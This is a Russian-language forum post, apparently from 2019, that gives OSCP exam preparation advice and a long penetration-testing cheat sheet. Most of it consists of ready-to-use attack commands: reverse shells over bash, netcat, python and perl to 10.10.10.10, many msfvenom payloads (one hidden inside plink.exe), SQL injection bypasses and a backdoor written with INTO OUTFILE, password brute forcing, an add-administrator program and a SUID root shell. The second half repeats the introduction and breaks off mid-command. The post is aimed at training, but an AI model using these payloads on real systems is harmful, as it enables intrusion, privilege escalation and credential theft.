clevergod
22.03.2019, 23:24
Всем большой и трайхардовый привет!
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP (https://forum.antichat.xyz/threads/567201/) - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
https://forum.antichat.xyz/attachments/4840162/img_f97c58f9a6.png
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки Root-Me.org и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке Pentestit Lab 12, врайтап по которой я опубликовал на нашем форуме в Январе 2019 (https://forum.antichat.xyz/threads/566293/) состоящую из 4 частей.
Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от Offensive Security, 27 Января 2019 г. мой следующий выбор пал на HackTheBox.
https://forum.antichat.xyz/attachments/4840162/img_816177666a.png
1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Activeмашины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на VulnHub. Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHubи HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
Kioptrix: Level 1 (#1)
Kioptrix: Level 1.1 (#2)
Kioptrix: Level 1.2 (#3)
Kioptrix: Level 1.3 (#4)
Kioptrix: 2014 (#5)
FristiLeaks: 1.3
Stapler: 1
PwnLab: init
VulnOS: 2
SickOs: 1.2
Brainpan: 1
HackLAB: Vulnix
/dev/random: scream
pWnOS: 2.0 (Pre-Release)
SkyTower: 1
Mr-Robot: 1
IMF: 1
Nebula from ExploitExercises
На ExploitExercisesбыла одна машина под названием "туманность" или "nebula". Методы, используемые на этой машине, были жизненно важны и по словам счастливчиков - реально используются в лаборатории.
HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
CTF Challenges - Hacking Articles
Если после прочтения всего описанного Вы ошеломлены и не знаете с чего начать, посмотрите эти видео от IppSec. На данном ютуб канале выходят врайтапы снятых с продакшена HackTheBox машин и влогер уделяет очень много внимания мелочам, тратя от 30 до 60 минут на каждую и разжевывает прохождение ровно так, как оно должно делаться в идеале.
https://forum.antichat.xyz/attachments/4840162/img_f1d3671431.png
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
Давайте договоримся сразу представлять перед собой цели в удобном виде:
HostnameIPExploitARPLootOSBox110.10.10.10MS08-06710.10.10.11capture.pcapWindows Server 2000
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Bash:
nmap -sC -sV -vv -oA quick
10.10
.10.10
Quick UDP Scan
Bash:
nmap -sU -sV -vv -oA quick_udp
10.10
.10.10
Full TCP Scan
Bash:
nmap -sC -sV -p- -vv -oA full
10.10
.10.10
Port knock
Bash:
for
x
in
7000
8000
9000
;
do
nmap -Pn --host_timeout
201
--max-retries
0
-p
$x
10.10
.10.10
;
done
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Bash:
nikto -h
10.10
.10.10
Dirsearch Directory unumerate - использую всегда только его
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x
301,403
,503,302 --random-agent
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x
301,403
,503,302 --random-agent -w big.txt -f
Gobuster quick directory busting
Bash:
gobuster -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t
80
-a Linux
Gobuster comprehensive directory busting
Bash:
gobuster -s
200,204
,301,302,307,403 -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -t
80
-a
'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
Gobuster search with file extension
Bash:
gobuster -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t
80
-a Linux -x .txt,.php
Gobuster Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e php,txt,htm,html,phtml,js,zip,rar,tar
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Bash:
wfuzz -X GET -c --hc
301
-t
50
-w /home/clevergod/CTF/dirsearch/db/BIG.txt -u http://10.10.10.10
Wordpress scan простой
Bash:
wpscan -u http://10.10.10.10/
Wordpress наебуреный для гарантированного результата
Bash:
wpscan --url http://10.10.10.10/ --force --ignore-main-redirect --stealthy
+( вот эти команды если Вы знаете, что папки были намеренно перенесены --wp-plugins-dir plugins --wp-content-dir /)
Port Checking
Netcat banner grab
Bash:
nc
-v
10.10
.10.10 port
Telnet banner grab
Bash:
telnet
10.10
.10.10 port
SMB
SMB Vulnerability Scan
Bash:
nmap -p
445
-vv --script
=
smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse
10.10
.10.10
SMB Users & Shares Scan
Bash:
nmap -p
445
-vv --script
=
smb-enum-shares.nse,smb-enum-users.nse
10.10
.10.10
Enum4linux
Bash:
enum4linux -a
10.10
.10.10
Null connect
Bash:
rpcclient -U
""
10.10
.10.10
Connect to SMB share
Bash:
smbclient //MOUNT/share
SNMP
SNMP enumeration
Bash:
snmp-check
10.10
.10.10
Python Servers
Web Server
Bash:
python -m SimpleHTTPServer
80
FTP Server
# Install pyftpdlib
Bash:
pip
install
pyftpdlib
# Run (-w flag allows anonymous write access)
Bash:
python -m pyftpdlib -p
21
-w
Reverse Shells
Bash shell
Bash:
bash
-i
>&
/dev/tcp/10.10.10.10/4443
0>
&1
Netcat without -e flag
Bash:
rm
/tmp/f
;
mkfifo
/tmp/f
;
cat
/tmp/f
|
/bin/sh -i
2>
&1
|
nc
10.10
.10.10
4443
>
/tmp/f
Netcat Linux
Bash:
nc
-e /bin/sh
10.10
.10.10
4443
Netcat Windows
Bash:
nc
-e cmd.exe
10.10
.10.10
4443
Python
Bash:
python -c
'import socket,subprocess,os;s=socket.socket(socket.AF_INE T,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
Bash:
perl -e
'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyna me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){op en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Remote Desktop
Remote Desktop for windows with share and 85% screen
Bash:
rdesktop -u username -p password -g
85
% -r disk:share
=
/root/
10.10
.10.10
PHP
PHP command injection from GET Request
Bash:
#Alternative
Bash:
Powershell
Non-interactive execute powershell file
Bash:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
Misc
More binaries Path
Bash:
export
PATH
=
$PATH
:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/
Linux proof
Bash:
hostname
&&
whoami
&&
cat
proof.txt
&&
/sbin/ifconfig
Windows proof
Bash:
hostname
&&
whoami.exe
&&
type
proof.txt
&&
ipconfig /all
SSH Tunneling / Pivoting
Bash:
sshuttle -vvr user@10.10.10.10
10.1
.1.0/24
Local port forwarding
Bash:
ssh
-L
:
:
Remote port forwarding
Bash:
ssh
-R
:
:
Dynamic port forwarding
Bash:
ssh
-D
-p
Plink local port forwarding
Bash:
plink -l root -pw pass -R
3389
:
:3389
SQL Injection
# sqlmap crawl
Bash:
sqlmap -u http://10.10.10.10 --crawl
=
1
# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump[/CODE]
# sqlmap shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell[/CODE]
Upload php command injection file
Bash:
union all
select
1,2
,3,4,
""
,6 into OUTFILE
'c:/inetpub/wwwroot/backdoor.php'
Load file
Bash:
union all
select
1,2
,3,4,load_file
(
"c:/windows/system32/drivers/etc/hosts"
)
,6
Bypasses
Bash:
' or 1=1 LIMIT 1 --
'
or
1
=
1
LIMIT
1
-- -
' or 1=1 LIMIT 1#
'
or
1
#
' or 1=1 --
'
or
1
=
1
-- -
Brute force
John the Ripper shadow file
Bash:
$ unshadow
passwd
shadow
>
unshadow.db
$ john unshadow.db
Bash:
# Hashcat SHA512 $6$ shadow file
hashcat -m
1800
-a
0
hash.txt rockyou.txt --username
#Hashcat MD5 $1$ shadow file
hashcat -m
500
-a
0
hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m
1600
-a
0
hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m
100
-a
0
hash.txt rockyou.txt --force
# Hashcat Wordpress
hashcat -m
400
-a
0
--remove hash.txt rockyou.txt
RDP user with password list
Bash:
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
SSH user with password list
Bash:
hydra -l user -P pass.txt -t
10
10.10
.10.10
ssh
-s
22
FTP user with password list
Bash:
medusa -h
10.10
.10.10 -u user -P passwords.txt -M
ftp
MSFVenom Payloads
Bash:
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f war -o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp
LPORT
=
4443
-f c -b
"\x00\x0a\x0d\x20"
-e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
EXITFUNC
=
thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f js_le -e generic/none -n
18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-e x86/shikata_ga_nai -i
9
-f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86
LHOST
=
10.10
.10.10
LPORT
=
4443
EXITFUNC
=
thread -f c -b
"\x00\x04"
-e x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp
LHOST
=
10.10
.10.10
LPORT
=
4443
-f exe -e x86/shikata_ga_nai -i
9
-x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Interactive Shell
Upgrading to a fully interactive TTY using Python
Bash:
# Enter while in reverse shell
$ python -c
'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$
fg
# In reverse shell
$ reset
$
export
SHELL
=
bash
$
export
TERM
=
xterm-256color
$ stty rows
columns
File Transfers
HTTP
The most common file transfer method.
Bash:
# In Kali
python -m SimpleHTTPServer
80
# In reverse shell - Linux
wget
10.10
.10.10/file
# In reverse shell - Windows
powershell -c
"(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
Bash:
# In Kali
python -m pyftpdlib -p
21
-w
# In reverse shell
echo
open
10.10
.10.10
>
ftp.txt
echo
USER
anonymous
>>
ftp.txt
echo
ftp
>>
ftp.txt
echo
bin
>>
ftp.txt
echo
GET
file
>>
ftp.txt
echo
bye
>>
ftp.txt
# Execute
ftp
-v -n -s:ftp.txt
TFTP
Generic.
Bash:
# In Kali
atftpd --daemon --port
69
/tftp
# In reverse shell
tftp -i
10.10
.10.10 GET nc.exe
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Bash:
# In reverse shell
echo
strUrl
=
WScript.Arguments.Item
(
0
)
>
wget.vbs
echo
StrFile
=
WScript.Arguments.Item
(
1
)
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_DEFAULT
=
0
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_PRECONFIG
=
0
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_DIRECT
=
1
>>
wget.vbs
echo
Const HTTPREQUEST_PROXYSETTING_PROXY
=
2
>>
wget.vbs
echo
Dim http,varByteArray,strData,strBuffer,lngCounter,fs, ts
>>
wget.vbs
echo
Err.Clear
>>
wget.vbs
echo
Set http
=
Nothing
>>
wget.vbs
echo
Set http
=
CreateObject
(
"WinHttp.WinHttpRequest.5.1"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"WinHttp.WinHttpRequest"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"MSXML2.ServerXMLHTTP"
)
>>
wget.vbs
echo
If http Is Nothing Then Set http
=
CreateObject
(
"Microsoft.XMLHTTP"
)
>>
wget.vbs
echo
http.Open
"GET"
,strURL,False
>>
wget.vbs
echo
http.Send
>>
wget.vbs
echo
varByteArray
=
http.ResponseBody
>>
wget.vbs
echo
Set http
=
Nothing
>>
wget.vbs
echo
Set fs
=
CreateObject
(
"Scripting.FileSystemObject"
)
>>
wget.vbs
echo
Set ts
=
fs.CreateTextFile
(
StrFile,True
)
>>
wget.vbs
echo
strData
=
""
>>
wget.vbs
echo
strBuffer
=
""
>>
wget.vbs
echo
For lngCounter
=
0
to UBound
(
varByteArray
)
>>
wget.vbs
echo
ts.Write Chr
(
255
And Ascb
(
Midb
(
varByteArray,lngCounter +
1,1
))
)
>>
wget.vbs
echo
Next
>>
wget.vbs
echo
ts.Close
>>
wget.vbs
# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
Bash:
# Payload
payload
=
"\x41"
*
+
+
"\x90"
*
16
+
+
"\x43"
*
# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l
-q
# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm
>
jmp eax
# Bad characters
badchars
=
(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x 0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x 1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x 2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x 3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x 4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x 5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x 6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x 7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x 8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x 9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\x ad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\x bd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\x cd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\x dd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\x ed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\x fd\xfe\xff"
)
СКРИПТЫкрайне полезные:
useradd.c
Windows - Add user.
C:
#include
/* system, NULL, EXIT_FAILURE */
int
main
(
)
{
int
i
;
i
=
system
(
"net user /add && net localgroup administrators /add"
)
;
return
0
;
}
# Compile
i686
-
w64
-
mingw32
-
gcc
-
o useradd
.
exe useradd
.
c
SUID
Set owner user ID.
Bash:
int main
(
void
)
{
setresuid
(
0
,
0
,
0
)
;
system
(
"/bin/bash"
)
;
}
# Compile
gcc suid.c -o suid
Powershell Run as
Run file as another user with powershell.
Код:
echo $username = '' > runas.ps1
echo $securePassword = ConvertTo-SecureString "" -AsPlainText -Force >> runas.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1
Process Monitor
Monitor processes to check for running cron jobs.
Bash:
#!/bin/bash
# Loop by line
IFS
=
$
'\n'
old_process
=
$(ps -eo command)
while
true
;
do
new_process
=
$(ps -eo command)
diff
]
sleep
1
old_process
=
$new_process
done
Сама экзаменационная среда может выглядеть так:
LINKS или крайне полезные ссылки:
Privilege Escalation:
g0tmi1k Linux Priv Esc
fuzzysecurity Windows Priv Esc
sploitspren Windows Priv Esc
togie6 Windows Priv Esc Guide
Kernel Exploits:
abatchy17’s Windows Exploits
lucyoa’s kernel exploits
Scripts:
LinuxPrivChecker
LinEnum
PowerUp
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
Ставьте свои класневичи и дополняйте если есть замечания... Offencive Security ждет Вас
https://forum.antichat.xyz/attachments/4840162/img_9d80938324.png
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP (https://forum.antichat.xyz/threads/567201/) - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
https://forum.antichat.xyz/attachments/4840162/img_f97c58f9a6.png
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки Root-Me.org и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке Pentestit Lab 12, врайтап по которой я опубликовал на нашем форуме в Январе 2019 (https://forum.antichat.xyz/threads/566293/) состоящую из 4 частей.
Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от Offensive Security, 27 Января 2019 г. мой следующий выбор пал на HackTheBox.
https://forum.antichat.xyz/attachments/4840162/img_816177666a.png
1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Activeмашины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на VulnHub. Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHubи HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
Kioptrix: Level 1 (#1)
Kioptrix: Level 1.1 (#2)
Kioptrix: Level 1.2 (#3)
Kioptrix: Level 1.3 (#4)
Kioptrix: 2014 (#5)
FristiLeaks: 1.3
Stapler: 1
PwnLab: init
VulnOS: 2
SickOs: 1.2
Brainpan: 1
HackLAB: Vulnix
/dev/random: scream
pWnOS: 2.0 (Pre-Release)
SkyTower: 1
Mr-Robot: 1
IMF: 1
Nebula from ExploitExercises
На ExploitExercisesбыла одна машина под названием "туманность" или "nebula". Методы, используемые на этой машине, были жизненно важны и по словам счастливчиков - реально используются в лаборатории.
HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
CTF Challenges - Hacking Articles
Если после прочтения всего описанного Вы ошеломлены и не знаете с чего начать, посмотрите эти видео от IppSec. На данном ютуб канале выходят врайтапы снятых с продакшена HackTheBox машин и влогер уделяет очень много внимания мелочам, тратя от 30 до 60 минут на каждую и разжевывает прохождение ровно так, как оно должно делаться в идеале.
https://forum.antichat.xyz/attachments/4840162/img_f1d3671431.png
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
Давайте договоримся сразу представлять перед собой цели в удобном виде:
HostnameIPExploitARPLootOSBox110.10.10.10MS08-06710.10.10.11capture.pcapWindows Server 2000
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Bash:
nmap -sC -sV -vv -oA quick
10.10
.10.10
Quick UDP Scan
Bash:
nmap -sU -sV -vv -oA quick_udp
10.10
.10.10
Full TCP Scan
Bash:
nmap -sC -sV -p- -vv -oA full
10.10
.10.10
Port knock
Bash:
for
x
in
7000
8000
9000
;
do
nmap -Pn --host_timeout
201
--max-retries
0
-p
$x
10.10
.10.10
;
done
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Bash:
nikto -h
10.10
.10.10
Dirsearch Directory unumerate - использую всегда только его
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x
301,403
,503,302 --random-agent
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x
301,403
,503,302 --random-agent -w big.txt -f
Gobuster quick directory busting
Bash:
gobuster -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t
80
-a Linux
Gobuster comprehensive directory busting
Bash:
gobuster -s
200,204
,301,302,307,403 -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -t
80
-a
'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
Gobuster search with file extension
Bash:
gobuster -u
10.10
.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t
80
-a Linux -x .txt,.php
Gobuster Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e php,txt,htm,html,phtml,js,zip,rar,tar
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Bash:
wfuzz -X GET -c --hc
301
-t
50
-w /home/clevergod/CTF/dirsearch/db/BIG.txt -u http://10.10.10.10
Wordpress scan простой
Bash:
wpscan -u http://10.10.10.10/
Wordpress наебуреный для гарантированного результата
Bash:
wpscan --url http://10.10.10.10/ --force --ignore-main-redirect --stealthy
+( вот эти команды если Вы знаете, что папки были намеренно перенесены --wp-plugins-dir plugins --wp-content-dir /)
Port Checking
Netcat banner grab
Bash:
nc
-v
10.10
.10.10 port
Telnet banner grab
Bash:
telnet
10.10
.10.10 port
SMB
SMB Vulnerability Scan
Bash:
nmap -p
445
-vv --script
=
